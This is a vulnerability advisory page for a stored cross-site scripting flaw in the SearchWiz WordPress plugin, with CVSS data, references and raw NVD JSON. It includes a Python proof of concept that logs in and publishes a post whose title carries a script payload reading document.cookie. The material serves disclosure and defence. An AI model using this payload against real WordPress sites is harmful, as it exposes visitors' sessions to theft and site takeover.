Security Vulnerability Report
中文
CVE-2026-0694 CVSS 6.4 MEDIUM

CVE-2026-0694

Published: 2026-01-14 06:15:56
Last Modified: 2026-04-15 00:35:42

Description

The SearchWiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in search results in all versions up to, and including, 1.0.0. This is due to the plugin using `esc_attr()` instead of `esc_html()` when outputting post titles in search results. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in post titles that will execute whenever a user performs a search and views the search results page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SearchWiz WordPress Plugin <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# WordPress SearchWiz Plugin Stored XSS PoC # CVE-2026-0694 # Target: WordPress site with SearchWiz plugin <= 1.0.0 import requests from bs4 import BeautifulSoup target_url = "http://target-wordpress-site.com" username = "attacker_account" password = "attacker_password" session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session.post(login_url, data=login_data) # Step 2: Create a post with XSS payload in title post_url = f"{target_url}/wp-admin/post-new.php" xss_payload = '<img src=x onerror=alert(document.cookie)>' post_data = { "post_title": xss_payload, "post_content": "Test content", "post_status": "publish", "publish": "Publish" } session.post(post_url, data=post_data) # Step 3: When victim searches, XSS will be triggered # Search URL: {target_url}/?s=<search_term> # The XSS in post title will execute in victim's browser

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0694", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:55.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SearchWiz plugin for WordPress is vulnerable to Stored Cross-Site Scripting via post titles in search results in all versions up to, and including, 1.0.0. This is due to the plugin using `esc_attr()` instead of `esc_html()` when outputting post titles in search results. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in post titles that will execute whenever a user performs a search and views the search results page."}, {"lang": "es", "value": "El plugin SearchWiz para WordPress es vulnerable a Cross-Site Scripting Almacenado a través de los títulos de las publicaciones en los resultados de búsqueda en todas las versiones hasta la 1.0.0, inclusive. Esto se debe a que el plugin utiliza `esc_attr()` en lugar de `esc_html()` al mostrar los títulos de las publicaciones en los resultados de búsqueda. Esto permite que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en los títulos de las publicaciones que se ejecutarán cada vez que un usuario realice una búsqueda y vea la página de resultados de búsqueda."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/searchwiz/tags/1.0.0/public/class-sw-ajax.php#L616", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/searchwiz/trunk/public/class-sw-ajax.php#L616", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/3e60a315-7f74-4d81-b6d2-ad3d40d489ef?source=cve", "source": "[email protected]"}]}}